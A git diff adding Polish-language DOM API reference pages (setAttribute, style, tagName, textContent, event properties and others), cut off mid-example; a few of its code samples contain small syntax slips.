+<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3>
+<p><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/scrollwidth.asp">MSDN scrollWidth reference</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.scrollWidth", "fr": "fr/DOM/element.scrollWidth" } ) }}</p>
diff --git a/files/pl/web/api/element/setattribute/index.html b/files/pl/web/api/element/setattribute/index.html
new file mode 100644
index 0000000000..79f649526e
--- /dev/null
+++ b/files/pl/web/api/element/setattribute/index.html
@@ -0,0 +1,34 @@
+---
+title: element.setAttribute
+slug: Web/API/Element/setAttribute
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/setAttribute
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>setAttribute</code> dodaje nowy lub zmienia wartość atrybutu w bieżącym elemencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">element.setAttribute(<i>nazwa</i>,<i>wartość</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>nazwa</code> to łańcuch znaków z nazwą nowego atrybutu,</li>
+ <li><code>wartość</code> to żądana wartość nowego atrybutu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>d = document.getElementById("d1");
+d.setAttribute("align", "center");
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Jeśli istnieje już atrybut o danej nazwie, jego wartość zostaje zmieniona na wartość podaną w wywołaniu <b>setAttribute</b>. Jeśli nie istnieje taki atrybut, zostanie on utworzony.</p>
+<p>Pomimo, że <a href="pl/DOM/element.getAttribute">getAttribute</a> zwraca <code>null</code> jeśli atrybut nie istnieje, do usuwania atrybutów powinieneś używać metody <a href="pl/DOM/element.removeAttribute">removeAttribute</a>, a nie <code>element.setAttribute(attr, null)</code>.</p>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68F082">DOM Level 2 Core: setAttribute</a> (wprowadzono w <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttribute">DOM Level 1 Core</a>)</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.setAttribute", "fr": "fr/DOM/element.setAttribute", "ja": "ja/DOM/element.setAttribute" } ) }}</p>
diff --git a/files/pl/web/api/element/setattributenode/index.html b/files/pl/web/api/element/setattributenode/index.html
new file mode 100644
index 0000000000..dbf836f80c
--- /dev/null
+++ b/files/pl/web/api/element/setattributenode/index.html
@@ -0,0 +1,40 @@
+---
+title: element.setAttributeNode
+slug: Web/API/Element/setAttributeNode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/setAttributeNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>setAttributeNode</code> dodaje do elementu nowy węzeł typu <code>Attr</code>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>zastąpionyAtr</i> = element.setAttributeNode(<i>atrybut</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>atrybut</code> jest węzłem typu <code>Attr</code></li>
+ <li><code>zastąpionyAtr</code> jest węzłem zastąpionego atrybutu - jeśli był taki - zwróconym przez tę metodę</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// &lt;div id="raz" align="left"&gt;raz&lt;/div&gt;
+// &lt;div id="dwa"&gt;dwa&lt;/div&gt;
+d1 = document.getElementById("raz");
+d2 = document.getElementById("dwa");
+a = d1.getAttributeNode("align");
+d2.setAttributeNode(a);
+alert(d2.attributes[1].value)
+// wypisze: "left"
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Jeżeli istnieje już atrybut o danej nazwie, zostanie on zastąpiony nowym atrybutem i zwrócony jako wynik funkcji.</p>
+<p>Tej metody używa się rzadko - do zmiany atrybutów elementu zwykle wykorzystywana jest metoda <a href="pl/DOM/element.setAttribute">setAttribute</a>.</p>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-887236154">DOM Level 2 Core: setAttributeNode</a> (wprowadzono w <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttributeNode">DOM Level 1 Core</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.setAttributeNode", "fr": "fr/DOM/element.setAttributeNode", "ja": "ja/DOM/element.setAttributeNode" } ) }}</p>
diff --git a/files/pl/web/api/element/setattributenodens/index.html b/files/pl/web/api/element/setattributenodens/index.html
new file mode 100644
index 0000000000..5633d0367e
--- /dev/null
+++ b/files/pl/web/api/element/setattributenodens/index.html
@@ -0,0 +1,41 @@
+---
+title: element.setAttributeNodeNS
+slug: Web/API/Element/setAttributeNodeNS
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/setAttributeNodeNS
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>setAttributeNodeNS</code> dodaje nowy węzeł atrybutu z określoną nazwą i przestrzenią nazw.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>replacedAttr</i> = element.setAttributeNodeNS(<i>namespace</i>,<i>attributeNode</i>)
+</pre>
+<ul>
+ <li><code>replacedAttr</code> jest zastąpionym węzłem atrybutu (jeśli istnieje), zwracanym przez tę funkcję.</li>
+ <li><code>attributeNode</code> jest węzłem <code>Attr</code>.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// &lt;div id="one" special-align="utterleft"&gt;one&lt;/div&gt;
+// &lt;div id="two"&gt;two&lt;/div&gt;
+
+var myns = "http://www.mozilla.org/ns/specialspace";
+var d1 = document.getElementById("one");
+var d2 = document.getElementById("two");
+var a = d1.getAttributeNodeNS(myns, "special-align");
+var d2.setAttributeNodeNS(myns, a);
+
+alert(d2.attributes[1].value) // zwraca: `utterleft'
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Jeśli określony atrybut istnieje dla elementu, to jest on zastępowany nowym i zwracany.</p>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElSetAtNodeNS">DOM Level 2 Core: setAttributeNodeNS</a></p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.setAttributeNodeNS", "fr": "fr/DOM/element.setAttributeNodeNS", "ja": "ja/DOM/element.setAttributeNodeNS" } ) }}</p>
diff --git a/files/pl/web/api/element/setattributens/index.html b/files/pl/web/api/element/setattributens/index.html
new file mode 100644
index 0000000000..c721111e36
--- /dev/null
+++ b/files/pl/web/api/element/setattributens/index.html
@@ -0,0 +1,33 @@
+---
+title: element.setAttributeNS
+slug: Web/API/Element/setAttributeNS
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/setAttributeNS
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>setAttributeNS</code> dodaje nowy lub zmienia wartość istniejącego atrybutu o podanej nazwie i przestrzeni nazw.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>element</i>.setAttributeNS(<i>przestrzeńNazw</i>,<i>nazwa</i>,<i>wartość</i>)
+</pre>
+<ul>
+ <li><code>przestrzeńNazw</code> to ciąg znaków określajacy przestrzeń nazw atrybutu.</li>
+ <li><code>nazwa</code> to ciąg znaków określający nazwę atrybutu do ustawienia.</li>
+ <li><code>wartość</code> to żądana wartość atrybutu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">var d = document.getElementById("d1");
+d.setAttributeNS("<span class="nowiki">http://www.mozilla.org/ns/specialspace</span>", "align", "center");
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>{{ DOMAttributeMethods() }}</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElSetAttrNS">DOM Level 2 Core: setAttributeNS</a></p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.setAttributeNS", "fr": "fr/DOM/element.setAttributeNS", "ja": "ja/DOM/element.setAttributeNS" } ) }}</p>
diff --git a/files/pl/web/api/element/style/index.html b/files/pl/web/api/element/style/index.html
new file mode 100644
index 0000000000..4736774e83
--- /dev/null
+++ b/files/pl/web/api/element/style/index.html
@@ -0,0 +1,52 @@
+---
+title: element.style
+slug: Web/API/Element/style
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/ElementCSSInlineStyle/style
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca obiekt reprezentujący atrybut <code>style</code> elementu.</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">var div = document.getElementById("div1");
+div.style.marginTop = ".25in";
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Ponieważ własność <code>style</code> reprezentuje atrybut <code>style</code>, który ma najwyższy priorytet w kaskadzie CSS, własność ta jest użyteczna by ustawić styl określonego elementu. Nie przyda się jednak do sprawdzania stylu elementu, ponieważ zależy ona tylko od atrybutu <code>style</code>, a nie od reguł stylów określonych gdziekolwiek indziej. Możesz użyć <code><a href="/pl/DOM/window.getComputedStyle" title="pl/DOM/window.getComputedStyle">window.getComputedStyle</a></code>, by sprawdzić styl elementu.</p>
+
+<p>Zobacz listę <a href="/pl/DOM/CSS" title="pl/DOM/CSS">własności CSS dostępnych w DOM</a>, gdzie znajdziesz też dodatkowe uwagi o zastosowaniu własności <code>style</code>.</p>
+
+<p>Ogólnie rzecz biorąc, lepiej jest użyć własność <code>style </code>zamiast <code>elt.setAttribute('style', '...')</code>, ponieważ użycie <code>style</code> nie nadpisze innych własności CSS, które mogły być wcześniej określone atrybutem <code>style</code>.</p>
+
+<p>Styli nie można ustawiać poprzez przekazywania łańcucha znaków do atrybutu <code>style</code> (tylko odczyt), np. <code>elt.style = "color: blue;"</code>. Jest to niemożliwe ponieważ atrybut stylu zwraca obiekt <code>CSSStyleDeclaration</code> . Zamiast tego, możesz ustawić poszczególne własności atrybutu <code>style</code> w ten sposób:</p>
+
+<pre class="eval">elt.style.color = "blue"; // Directly
+
+var st = elt.style;
+st.color = "blue"; // Indirectly
+</pre>
+
+<p>Poniższy kod wyświetli nazwy wszystkich własności stylu, wartości ustawione dla elementu <code>elt</code> oraz dziedziczone 'przeliczone'' wartości:</p>
+
+<pre class="eval">var elt = document.getElementById("elementIdHere");
+var out = "";
+var st = elt.style;
+var cs = window.getComputedStyle(z, null);
+for (x in st)
+ out += " " + x + " = '" + st[x] + "' &gt; '" + cs[x] + "'\n";
+</pre>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-ElementCSSInlineStyle">DOM Level 2 Style: ElementCSSInlineStyle.style</a></p>
diff --git a/files/pl/web/api/element/tabindex/index.html b/files/pl/web/api/element/tabindex/index.html
new file mode 100644
index 0000000000..d8fdd6ce7d
--- /dev/null
+++ b/files/pl/web/api/element/tabindex/index.html
@@ -0,0 +1,31 @@
+---
+title: element.tabIndex
+slug: Web/API/Element/tabIndex
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLOrForeignElement/tabIndex
+---
+<div>
+ {{APIRef}}</div>
+<div>
+  </div>
+<div>
+ <span style="font-size: 2.14285714285714rem; font-weight: 700; letter-spacing: -1px; line-height: 30px;">Podsumowanie</span></div>
+<p>Pobiera/ustawia kolejność tabulacji dla bieżącego elementu.</p>
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+<pre class="syntaxbox">element.tabIndex = <em>indeks</em>
+</pre>
+<ul>
+ <li><code>indeks</code> to liczba</li>
+</ul>
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+<pre class="brush:js">var b1 = document.getElementById("button1");
+
+b1.tabIndex = 1;</pre>
+<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-40676705">tabIndex </a></li>
+</ul>
diff --git a/files/pl/web/api/element/tagname/index.html b/files/pl/web/api/element/tagname/index.html
new file mode 100644
index 0000000000..61972df98c
--- /dev/null
+++ b/files/pl/web/api/element/tagname/index.html
@@ -0,0 +1,37 @@
+---
+title: element.tagName
+slug: Web/API/Element/tagName
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Element/tagName
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>tagName</b> zwraca nazwę elementu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>nazwaElementu</i> = element.tagName
+</pre>
+<ul>
+ <li><code>nazwaElementu</code> to ciąg zawierający nazwę bieżącego elementu.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<p>Dane są takie znaczniki:</p>
+<pre class="eval">&lt;span id="born"&gt;Kiedy przyszedłem na świat...&lt;/span&gt;
+</pre>
+<p>i taki skrypt:</p>
+<pre class="eval">var span = document.getElementById("born");
+alert(span.tagName);
+</pre>
+<p>W XHTML-u (lub innym formacie XML) wyświetlone zostanie "span", a w HTML - "SPAN".</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>W XML-u <code>tagName</code> zachowuje wielkość liter. W HTML-u <code>tagName</code> zwraca nazwę elementu w formie kanonicznej - wielkimi literami. Wartość <code>tagName</code> jest taka sama jak wartość <a href="pl/DOM/element.nodeName">nodeName</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-104682815">tagName </a></p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.tagName", "es": "es/DOM/element.tagName", "fr": "fr/DOM/element.tagName", "ja": "ja/DOM/element.tagName" } ) }}</p>
diff --git a/files/pl/web/api/element/textcontent/index.html b/files/pl/web/api/element/textcontent/index.html
new file mode 100644
index 0000000000..f667ea2889
--- /dev/null
+++ b/files/pl/web/api/element/textcontent/index.html
@@ -0,0 +1,41 @@
+---
+title: element.textContent
+slug: Web/API/Element/textContent
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/textContent
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Pobiera lub ustawia zawartość tekstową węzła i jego potomków.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>tekst</i> = element.textContent
+element.textContent = "przykładowy tekst"
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">// Dany jest taki fragment w HTML:
+// &lt;div id="divA"&gt;To jest &lt;span&gt;jakiś&lt;/span&gt; tekst&lt;/div&gt;
+
+// Pobierz zawartość tekstową:
+var tekst = document.getElementById("divA").textContent;
+// |tekst| zawiera: "To jest jakiś tekst".
+
+// Ustaw zawartość:
+document.getElementById("divA").textContent = "To jest jakiś tekst";
+// teraz HTML elementu divA to &lt;div id="divA"&gt;To jest jakiś tekst&lt;/div&gt;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<ul>
+ <li><code>textContent</code> zwraca <code>null</code> jeśli węzeł to dokument, węzeł <code>DocumentType</code> lub <code>Notation</code></li>
+ <li>Jeśli węzeł to sekcja CDATA, komentarz, instrukcja przetwarzania lub węzeł tekstowy, <code>textContent</code> zwraca tekst wewnątrz tego węzła (<a href="pl/DOM/element.nodeValue">nodeValue</a>).</li>
+ <li>Dla innych typów węzłow <code>textContent</code> zwraca połączenie wartości <code>textContent</code> każdego dziecka, wyłączając węzły komentarzy i instrukcji przetwarzania. Jeśli element nie ma dzieci, jest to pusty ciąg.</li>
+ <li>Ustawianie tej właściwości dla węzła usuwa wszystkie jego dzieci i zastępuje je jednym węzłem tekstowym o zadanej wartości.</li>
+</ul>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#Node3-textContent">textContent</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.textContent", "fr": "fr/DOM/element.textContent", "it": "it/DOM/element.textContent" } ) }}</p>
diff --git a/files/pl/web/api/event/altkey/index.html b/files/pl/web/api/event/altkey/index.html
new file mode 100644
index 0000000000..2c8c2f6d9f
--- /dev/null
+++ b/files/pl/web/api/event/altkey/index.html
@@ -0,0 +1,31 @@
+---
+title: event.altKey
+slug: Web/API/Event/altKey
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/altKey
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wskazuje, czy klawisz &lt;alt&gt; był wciśnięty przy wywołaniu zdarzenia.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>bool</i> = event.altKey
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> function goInput(e) {
+ // sprawdza przycisk &lt;alt&gt;
+ if e.altKey {
+ // przekazuje zdarzenie dalej
+ superSizeOutput(e);
+ }
+ else {
+ doOutput(e);
+ }
+ }
+</pre>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/event.altKey", "ja": "ja/DOM/event.altKey" } ) }}</p>
diff --git a/files/pl/web/api/event/bubbles/index.html b/files/pl/web/api/event/bubbles/index.html
new file mode 100644
index 0000000000..2372296028
--- /dev/null
+++ b/files/pl/web/api/event/bubbles/index.html
@@ -0,0 +1,31 @@
+---
+title: event.bubbles
+slug: Web/API/Event/bubbles
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Event/bubbles
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wskazuje, czy zdarzenie bąbelkuje przez model dokumentu czy nie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">bool = event.bubbles
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> function goInput(e) {
+ // sprawdza czy zdarzenie bąbelkuje
+ if not e.bubbles {
+ // i jeśli nie - przekazuje je dalej
+ passItOn(e);
+ }
+ // jeśli bąbelkuje:
+ doOutput(e)
+}
+</pre>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/event.bubbles", "es": "es/DOM/event.bubbles", "ja": "ja/DOM/event.bubbles" } ) }}</p>
diff --git a/files/pl/web/api/event/button/index.html b/files/pl/web/api/event/button/index.html
new file mode 100644
index 0000000000..5f796093fb
--- /dev/null
+++ b/files/pl/web/api/event/button/index.html
@@ -0,0 +1,66 @@
+---
+title: event.button
+slug: Web/API/Event/button
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/button
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wskazuje, który przycisk myszy wywołał zdarzenie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre>var kodPrzycisku = event.button;
+</pre>
+<p>Zwraca całkowitą wartość liczbową oznaczającą przycisk, który zmienił stan:</p>
+<ul>
+ <li>0 - zwykłe
+ <i>
+ kliknięcie</i>
+ , zazwyczaj lewy przycisk</li>
+ <li>1 - środkowy przycisk, zazwyczaj kliknięcie rolką</li>
+ <li>2 - prawy przycisk</li>
+</ul>
+<p>Faktyczna kolejność przycisków może być różna, zależnie od konfiguracji urządzenia wskazującego.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;script type="text/javascript"&gt;
+
+function whichButton(e)
+{
+ // obsłuż różne modele obsługi zdarzeń
+ var e = e || window.event;
+ var btnCode;
+
+ if ('object' == typeof e){
+ btnCode = e.button;
+
+ switch (btnCode){
+ case 0  : alert('Kliknięto lewym przyciskiem');
+ break;
+ case 1  : alert('Kliknięto środkowym przyciskiem');
+ break;
+ case 2  : alert('Kliknięto prawym przyciskiem');
+ break;
+ default : alert('Nieoczekiwany kod: ' + btnCode);
+ }
+ }
+}
+
+&lt;/script&gt;
+
+&lt;p onclick="whichButton(event);"&gt;Kliknij tu myszą...&lt;/p&gt;
+
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Ponieważ kliknięcia myszy są często przechwytywane przez interfejs uzytkownika, w niektórych okolicznościach może być trudno wykryć przyciski inne niż ten dla standardowego kliknięcia (tj. zazwyczaj lewy).</p>
+<p>Użytkownicy mogą zmienić konfigurację przycisków swoich urządzeń wskazujących, tak że nawet jeśli własność
+ <i>
+ button</i>
+ wynosi zero, niekoniecznie musiał być naciśnięty przycisk znajdujący się fizycznie po lewej stronie. Jednak zachowanie w takiej sytuacji powinno być takie, jak gdyby kliknięto lewy przycisk w standardowym układzie.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-MouseEvent-button">DOM Level 2 Events: button</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/event.button", "ja": "ja/DOM/event.button" } ) }}</p>
diff --git a/files/pl/web/api/event/cancelable/index.html b/files/pl/web/api/event/cancelable/index.html
new file mode 100644
index 0000000000..4a6ed741bb
--- /dev/null
+++ b/files/pl/web/api/event/cancelable/index.html
@@ -0,0 +1,34 @@
+---
+title: event.cancelable
+slug: Web/API/Event/cancelable
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Event/cancelable
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Wskazuje, czy zdarzenie można anulować.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">bool = event.cancelable
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>To, czy zdarzenie może być anulowane czy nie jest określane w momencie, kiedy zdarzenie jest tworzone. Aby anulować zdarzenie, użyj metody <a href="pl/DOM/event.preventDefault">preventDefault</a> na tym zdarzeniu, dzięki czemu nie zostanie wykonana akcja - domyślny rezultat tego zdarzenia.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-canCancel">cancelable </a></p>
+
+
+
+<div class="noinclude"></div>
+
+<p>{{ languages( { "en": "en/DOM/event.cancelable", "es": "es/DOM/event.cancelable", "ja": "ja/DOM/event.cancelable" } ) }}</p>
diff --git a/files/pl/web/api/event/cancelbubble/index.html b/files/pl/web/api/event/cancelbubble/index.html
new file mode 100644
index 0000000000..64b0a32f88
--- /dev/null
+++ b/files/pl/web/api/event/cancelbubble/index.html
@@ -0,0 +1,15 @@
+---
+title: event.cancelBubble
+slug: Web/API/Event/cancelBubble
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/UIEvent/cancelBubble
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wskazuje, czy zostało anulowane bąbelkowanie tego zdarzenia.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">bool = event.cancelBubble
+</pre>
+<p>{{ languages( { "en": "en/DOM/event.cancelBubble" } ) }}</p>
diff --git a/files/pl/web/api/event/charcode/index.html b/files/pl/web/api/event/charcode/index.html
new file mode 100644
index 0000000000..6600e6c1dd
--- /dev/null
+++ b/files/pl/web/api/event/charcode/index.html
@@ -0,0 +1,27 @@
+---
+title: event.charCode
+slug: Web/API/Event/charCode
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/KeyboardEvent/charCode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca kod Unicode dla klawisza znaku, który został wciśnięty, w zdarzeniu <a href="pl/DOM/element.onkeypress">keypress</a>.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">znak = event.charCode
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>znak</code> to wartość kodu Unicode klawisza, który został wciśnięty.</li>
+</ul>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>W zdarzeniu <a href="pl/DOM/element.onkeypress">keypress</a> kod Unicode wciśniętego klawisza jest przechowywany albo we własności <code><a href="pl/DOM/event.keyCode">keyCode</a></code> albo w <code>charCode</code>, nigdy w obydwu. Jeśli wciśnięcie klawisza skutkowałoby wprowadzeniem znaku (np. 'a'), <code>charCode</code> ustawiany jest dla kodu tego znaku, z uwzględnieniem wielkości (małe lub duże litery) znaku (np. bierze pod uwagę, czy wciśnięto klawisz shift). W przeciwnym przypadku, naciśnięty klawisz przechowywany jest w <code>keyCode</code>.</p>
+<p><code>charCode</code> nigdy nie jest ustawiany w zdarzeniach <a href="pl/DOM/element.onkeydown">keydown</a> i <a href="pl/DOM/element.onkeyup">keyup</a>. W tych przypadkach ustawiany jest <code>keyCode</code>.</p>
+<p>Aby pobrać kod klawisza niezależnie, czy jest przechowywany w <code>keyCode</code> czy w <code>charCode</code>, sprawdź właściwość <a href="pl/DOM/event.which">which</a>.</p>
+<p>Znaki wprowadzane poprzez IME nie są rejestrowane poprzez <code>keyCode</code> ani <code>charCode</code>. (IME - program pozwalający wprowadzać skomplikowane znaki, np. japońskie bądź chińskie - przyp. tłum.)</p>
+<p>Listę wartości <code>charCode</code> związanych z poszczególnymi klawiszami możesz znaleźć uruchamiając <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykład 7: Wyświetlanie stałych obiektu event</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>Nie należy do specyfikacji. Zobacz <a href="pl/NsIDOMKeyEvent">nsIDOMKeyEvent</a>.</p>
+<p>{{ languages( { "en": "en/DOM/event.charCode" } ) }}</p>
diff --git a/files/pl/web/api/event/clientx/index.html b/files/pl/web/api/event/clientx/index.html
new file mode 100644
index 0000000000..dd0dcb3e09
--- /dev/null
+++ b/files/pl/web/api/event/clientx/index.html
@@ -0,0 +1,25 @@
+---
+title: event.clientX
+slug: Web/API/Event/clientX
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/clientX
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca poziomą współrzędną zdarzenia w obszarze klienta.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> function checkClientClickMap(e) {
+ if e.clientX &lt; 50 {
+ doRedButton(); }
+ if 50 &lt;= e.clientX &lt; 100 {
+ doYellowButton(); }
+ if e.clientX &gt;= 100 {
